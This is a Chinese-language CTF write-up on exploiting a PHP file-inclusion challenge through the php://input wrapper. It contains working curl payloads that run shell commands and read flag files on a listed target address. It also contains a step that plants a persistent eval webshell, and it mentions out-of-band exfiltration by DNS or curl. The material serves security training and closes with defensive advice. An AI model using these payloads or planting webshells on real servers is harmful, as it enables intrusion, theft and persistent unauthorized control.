一、题目背景与源码审计

1.1 题目场景介绍

本题是一道经典的PHP本地文件包含(LFI)进阶题型,也是CTF高频考点。题目做了严格参数过滤,仅允许参数以 php://input 开头,常规的 php://filterphar://、本地路径包含等利用方式全部失效,只能通过php://input 伪协议 + POST请求体传参 的方式实现PHP代码执行、读取Flag。

1.2 核心源码审计

题目核心源码如下,我们逐行分析漏洞触发逻辑与过滤规则:


<?php highlight_file(__FILE__); // 自定义函数:判断字符串是否以指定字符开头 function startsWith($str, $start) { $len = strlen($start); return (substr($str, 0, $len) === $start); } // 文件包含核心逻辑 if (isset($_GET['file'])) { $file = $_GET['file']; // 严格限制:仅允许参数以 php://input 开头 if (startsWith($file, 'php://input')) { include $file; } } ?>

1.3 漏洞核心分析

  1. 用户通过GET方式传入 file 参数,程序通过 startsWith 函数做前缀校验,仅放行 php://input 协议;

  2. 合法参数会直接传入 include() 函数解析执行,无其他过滤、转义操作;

  3. include 解析 php://input 伪协议时,会读取原始POST请求体数据,并将其作为PHP代码解析执行;

  4. 所有其他伪协议、本地路径、远程路径均被过滤,唯一利用入口为 php://input

二、php://input 伪协议漏洞原理

2.1 伪协议基础特性

php://input 是PHP内置的特殊伪协议,核心作用是读取HTTP请求的原始POST请求体数据。区别于其他文件包含伪协议,该协议不读取服务器文件,而是读取用户可控的POST数据。

当该协议被 include()require() 等函数包含时,POST请求体内的所有内容会被PHP引擎解析为可执行代码,直接实现任意PHP代码执行

2.2 协议使用前置条件

该伪协议成功利用必须满足两个核心条件,也是实战高频踩坑点:

  1. PHP配置项 allow_url_include = On,CTF靶场默认开启,本地复现需手动修改 php.ini 配置;

  2. 必须使用POST请求 传参,GET请求无请求体,无法传递恶意代码,不能触发漏洞。

三、完整实战解题步骤

靶场地址:http://180.76.235.121:34629/?file=php://input

利用思路:GET参数固定传入php://input 绕过前缀校验 → POST请求体传入恶意PHP代码 → 服务器解析执行代码 → 读取靶场Flag。

日常浏览器直接访问该链接会出现网页解析失败,可能是不支持的网页类型报错,属于正常现象!原因是浏览器默认GET请求无POST请求体,无代码可执行,并非漏洞失效,必须通过工具发送POST请求才可正常利用。

3.1 实战Payload合集(可直接复用)

以下三组Payload适配不同场景,可直接在终端通过curl命令执行:

Payload 1:遍历根目录 + 读取Flag(推荐,适配未知路径)

先列出根目录所有文件,确认Flag文件名称,再读取内容,适配绝大多数靶场:


curl -X POST -d "<?php system('ls /'); echo PHP_EOL; echo '--- Flag内容 ---'; echo PHP_EOL; system('cat /flag*.txt');?>" "http://180.76.235.121:34629/?file=php://input"

Payload 2:读取当前目录 flag.php 文件

适配Flag存放在网站运行目录的场景:


curl -X POST -d "<?php system('ls ./'); echo PHP_EOL; echo '--- flag.php内容 ---'; echo PHP_EOL; system('cat ./flag.php');?>" "http://180.76.235.121:34629/?file=php://input"

Payload 3:极简指令直接读取根目录Flag

确认Flag路径为 /flag 时使用,执行效率最高:


curl -X POST -d "<?php echo file_get_contents('/flag');?>" "http://180.76.235.121:34629/?file=php://input"

3.2 参数详解

  • -X POST:指定请求方式为POST,满足php://input协议请求要求;

  • -d:携带POST请求体,传入恶意PHP执行代码;

  • URL参数固定为?file=php://input,绕过题目前缀过滤规则。

3.3 获取Flag结果

终端执行命令后,会优先输出目录文件列表,精准定位Flag文件路径,随后打印完整Flag内容,即可完成解题。

四、高频报错与避坑指南

4.1 浏览器访问报错:网页解析失败

报错现象:直接打开靶场链接提示“网页解析失败,可能是不支持的网页类型”

原因:浏览器默认发送GET请求,无POST请求体,php://input无数据可解析,页面无合法输出,触发解析异常。

解决方案:必须使用curl、BP、Postman等工具发送POST请求,不可直接浏览器访问。

4.2 请求无任何输出、漏洞不触发

  • 检查请求方式:是否误使用GET请求;

  • 检查PHP配置:本地复现需开启 allow_url_include = On

  • 检查代码语法:POST体内PHP代码无语法错误、标签完整。

4.3 提示Flag文件不存在

CTF靶场Flag路径不固定,优先使用 ls / 遍历根目录,确认真实文件路径,常见路径:/flag/flag.txt./flag.php/var/www/flag.php

五、高阶拓展:php://input 深度利用场景

5.1 无回显带外命令执行

针对无回显靶场,可结合 pingcurl、DNSlog 实现带外数据传输,获取命令执行结果。

5.2 写入一句话木马(持久控制)

通过文件写入函数直接在服务器生成Webshell,实现持久化控制:


curl -X POST -d "<?php file_put_contents('shell.php', '<?php @eval(\$_POST[\"cmd\"]);?>');?>" "http://180.76.235.121:34629/?file=php://input"

执行成功后,服务器生成一句话木马,可通过蚁剑、菜刀等工具连接,获取网站权限。

六、安全防御方案

针对该类文件包含漏洞,可从代码、配置、参数校验三层防御:

  1. 参数白名单校验:禁止用户可控参数直接传入include、require函数,严格配置文件路径白名单;

  2. 关闭危险配置:线上环境关闭 allow_url_include = Off,禁用所有伪协议文件包含;

  3. 过滤危险协议:代码层拦截 php://inputphp://filterphar:// 等高危伪协议。

七、总结

本题是典型的限制性文件包含高阶题型,核心考点就是 php://input 伪协议的特性利用。在各类常规伪协议被过滤的场景下,该协议是突破文件包含限制、实现代码执行的核心手段。

更多推荐